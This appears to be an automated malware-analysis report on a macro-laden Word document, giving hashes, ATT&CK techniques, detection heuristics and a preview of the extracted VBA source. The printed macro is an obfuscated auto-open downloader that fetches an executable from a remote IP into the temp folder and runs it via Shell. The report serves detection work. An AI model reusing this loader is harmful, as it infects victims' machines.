Office (OLE) malware analysis — malicious · 792e5c3c2886d6fe

MALICIOUS

Office (OLE)

161.0 KB Created: 2014-11-04 10:20:00 Authoring application: Microsoft Office Word First seen: 2015-02-05

MD5: ac2be7a5276e3ec0efacb1b88375f238 SHA-1: b137f33dbbd715fc9aa64b6158905ebe1ebbc10b SHA-256: 792e5c3c2886d6fe7d0b10a25fd78023a7b862a79bd6e461a5e23ecccbc371ef

272 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a Microsoft Office document containing heavily obfuscated VBA macros. Heuristics indicate the presence of auto-executing macros (auto_open, autoopen, workbook_open) and calls to CreateObject and Shell, suggesting an attempt to execute arbitrary code. The script attempts to open a binary file and contains conditional logic that may lead to payload execution, though the exact nature is obscured.

Heuristics 10

VBA macros detected medium 8 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    mxrwkuegsvh = Shell(kxqaxtgwbnh, 1)
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set ocpvmgeelcx = CreateObject(Chr(109) & Chr(115) & Chr(120) & Chr(109) & Chr(108) & Chr(50) & Chr(46) & Chr(120) & Chr(109) & Chr(108) & Chr(104) & Chr(116) & Chr(116) & Chr(112))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

    Set ocpvmgeelcx = CreateObject(Chr(109) & Chr(115) & Chr(120) & Chr(109) & Chr(108) & Chr(50) & Chr(46) & Chr(120) & Chr(109) & Chr(108) & Chr(104) & Chr(116) & Chr(116) & Chr(112))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub autoopen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub workbook_open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub auto_open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

    trzfcrwihtc Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(55) & Chr(56) & Chr(46) & Chr(55) & Chr(55) & Chr(46) & Chr(55) & Chr(51) & Chr(46) & Chr(50) & Chr(48) & Chr(54) & Chr(58) & Chr(56) & Chr(48) & Chr(56) & Chr(48) & Chr(47) & Chr(100) & Chr(111) & Chr(99) & Chr(47) & Chr(57) & Chr(46) & Chr(101) & Chr(120) & Chr(101), Environ(Chr(116) & Chr(101) & Chr(109) & Chr(112)) & Chr(92) & Chr(68) & Chr(67) & Chr(73) & Chr(84) & Chr(88) & Chr(69) & Chr …

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 95755 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	95755 bytes
SHA-256: `ca5c5582a5c6063b1a530c4f9e159c0b8b7dff8e51e97dc991789b70cd716e46`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Sub auto_open() 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo vsfalbmw 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim eixxymsf As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(82) & Chr(90) & Chr(71) & Chr(88) & Chr(80) & Chr(87) & Chr(46) & Chr(70) & Chr(77) & Chr(68) For Binary As 16 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 711568 = 711568 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 1795 < 73 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(117) & Chr(121) & Chr(108) & Chr(108) & Chr(111) & Chr(104) & Chr(118) & Chr(121) & Chr(56) & Chr(55)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(99) & Chr(106) & Chr(119) & Chr(97) & Chr(112) & Chr(98) & Chr(103) & Chr(102) & Chr(53) & Chr(49) & Chr(54) & Chr(56)) = Len(Chr(98) & Chr(109) & Chr(99) & Chr(102) & Chr(107) & Chr(118) & Chr(102) & Chr(109)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #16, , eixxymsf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 443571 = 443571 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 2283 < 49 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(99) & Chr(117) & Chr(113) & Chr(98) & Chr(109) & Chr(97) & Chr(112) & Chr(120) & Chr(50) & Chr(51)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(99) & Chr(115) & Chr(113) & Chr(104) & Chr(103) & Chr(97) & Chr(109) & Chr(119) & Chr(53) & Chr(52) & Chr(53) & Chr(54)) = Len(Chr(108) & Chr(121) & Chr(112) & Chr(119) & Chr(105) & Chr(117) & Chr(105) & Chr(111)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #16 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 542342 = 542342 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 5329 < 28 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(119) & Chr(120) & Chr(99) & Chr(116) & Chr(113) & Chr(114) & Chr(110) & Chr(122) & Chr(54) & Chr(49)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(108) & Chr(106) & Chr(101) & Chr(119) & Chr(122) & Chr(117) & Chr(101) & Chr(101) & Chr(54) & Chr(50) & Chr(54) & Chr(57)) = Len(Chr(109) & Chr(109) & Chr(121) & Chr(105) & Chr(112) & Chr(116) & Chr(97) & Chr(112)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf vsfalbmw: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 778394 = 778394 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 4542 < 63 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(115) & Chr(118) & Chr(102) & Chr(104) & Chr(97) & Chr(102) & Chr(114) & Chr(120) & Chr(53) & Chr(54)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(115) & Chr(114) & Chr(100) & Chr(117) & Chr(119) & Chr(102) & Chr(103) & Chr(119) & Chr(55) & Chr(55) & Chr(49) & Chr(53)) = Len(Chr(119) & Chr(107) & Chr(119) & Chr(122) & Chr(107) & Chr(116) & Chr(98) & Chr(119)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf evgvriwbtjr 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End Sub 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Sub autoopen() 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo kwduwurv 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim cjweozwj As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(70) & Chr(76) & Chr(65) & Chr(66) & Chr(81) & Chr(81) & Chr(46) & Chr(70) & Chr(74) & Chr(90) For Binary As 43 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 189973 = 189973 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 1796 < 59 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(98) & Chr(119) & Chr(102) & Chr(103) & Chr(116) & Chr(114) & Chr(111) & Chr(121) & Chr(50) & Chr(53)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(112) & Chr(119) & Chr(113) & Chr(103) & Chr(106) & Chr(109) & Chr(100) & Chr(120) & Chr(50) & Chr(54) & Chr(53) & Chr(54)) = Len(Chr(113) & Chr(118) & Chr(103) & Chr(97) & Chr(98) & Chr(108) & Chr(115) & Chr(101)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #43, , cjweozwj 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 231548 = 231548 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 2857 < 46 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(109) & Chr(114) & Chr(103) & Chr(115) & Chr(108) & Chr(120) & Chr(101) & Chr(100) & Chr(54) & Chr(55)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(110) & Chr(108) & Chr(108) & Chr(112) & Chr(122) & Chr(103) & Chr(118) & Chr(116) & Chr(53) & Chr(49) & Chr(50) & Chr(49)) = Len(Chr(111) & Chr(105) & Chr(110) & Chr(121) & Chr(98) & Chr(121) & Chr(112) & Chr(114)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #43 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 238386 = 238386 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 6983 < 25 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(116) & Chr(102) & Chr(111) & Chr(105) & Chr(102) & Chr(113) & Chr(107) & Chr(116) & Chr(51) & Chr(56)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(120) & Chr(118) & Chr(112) & Chr(104) & Chr(103) & Chr(109) & Chr(117) & Chr(102) & Chr(55) & Chr(55) & Chr(51) & Chr(52)) = Len(Chr(99) & Chr(122) & Chr(102) & Chr(101) & Chr(118) & Chr(107) & Chr(121) & Chr(109)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf kwduwurv: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 826517 = 826517 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 8797 < 15 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(118) & Chr(103) & Chr(111) & Chr(101) & Chr(103) & Chr(100) & Chr(119) & Chr(51) & Chr(54)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(113) & Chr(102) & Chr(108) & Chr(105) & Chr(115) & Chr(117) & Chr(105) & Chr(100) & Chr(51) & Chr(57) & Chr(54) & Chr(49)) = Len(Chr(108) & Chr(122) & Chr(110) & Chr(101) & Chr(111) & Chr(118) & Chr(108) & Chr(115)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf auto_open 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End Sub 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Sub workbook_open() 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf GoTo jaduxocm 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim xxmeoehs As String 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Open Chr(87) & Chr(85) & Chr(76) & Chr(85) & Chr(68) & Chr(84) & Chr(46) & Chr(82) & Chr(66) & Chr(74) For Binary As 67 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 861474 = 861474 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 4727 < 88 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(113) & Chr(105) & Chr(109) & Chr(115) & Chr(103) & Chr(99) & Chr(116) & Chr(113) & Chr(57) & Chr(51)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(103) & Chr(102) & Chr(116) & Chr(111) & Chr(109) & Chr(108) & Chr(107) & Chr(116) & Chr(53) & Chr(54) & Chr(55) & Chr(55)) = Len(Chr(101) & Chr(120) & Chr(98) & Chr(121) & Chr(118) & Chr(116) & Chr(108) & Chr(110)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #67, , xxmeoehs 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 892816 = 892816 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 5877 < 75 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(107) & Chr(115) & Chr(116) & Chr(109) & Chr(109) & Chr(106) & Chr(101) & Chr(117) & Chr(54) & Chr(56)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(108) & Chr(106) & Chr(116) & Chr(113) & Chr(102) & Chr(104) & Chr(100) & Chr(121) & Chr(56) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(97) & Chr(116) & Chr(100) & Chr(121) & Chr(113) & Chr(105) & Chr(99) & Chr(121)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #67 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 692157 = 692157 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 6827 < 24 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(98) & Chr(98) & Chr(118) & Chr(99) & Chr(107) & Chr(113) & Chr(117) & Chr(117) & Chr(55) & Chr(54)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(99) & Chr(108) & Chr(116) & Chr(100) & Chr(117) & Chr(102) & Chr(105) & Chr(111) & Chr(57) & Chr(49) & Chr(56) & Chr(50)) = Len(Chr(118) & Chr(118) & Chr(117) & Chr(110) & Chr(104) & Chr(115) & Chr(117) & Chr(103)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf jaduxocm: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 587851 = 587851 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 9314 < 21 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(103) & Chr(112) & Chr(118) & Chr(122) & Chr(110) & Chr(99) & Chr(103) & Chr(114) & Chr(57) & Chr(51)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(103) & Chr(104) & Chr(99) & Chr(108) & Chr(108) & Chr(99) & Chr(98) & Chr(101) & Chr(51) & Chr(53) & Chr(55) & Chr(55)) = Len(Chr(99) & Chr(114) & Chr(114) & Chr(102) & Chr(106) & Chr(103) & Chr(112) & Chr(122)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf auto_open 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End Sub 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Function trzfcrwihtc(ByVal ejckdfuqggu As String, ByVal kxqaxtgwbnh As String) As Boolean 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Dim ocpvmgeelcx As Object, ayemzbpjsak As Long, zgbpbucckrp As Long, wvavhsolbur() As Byte 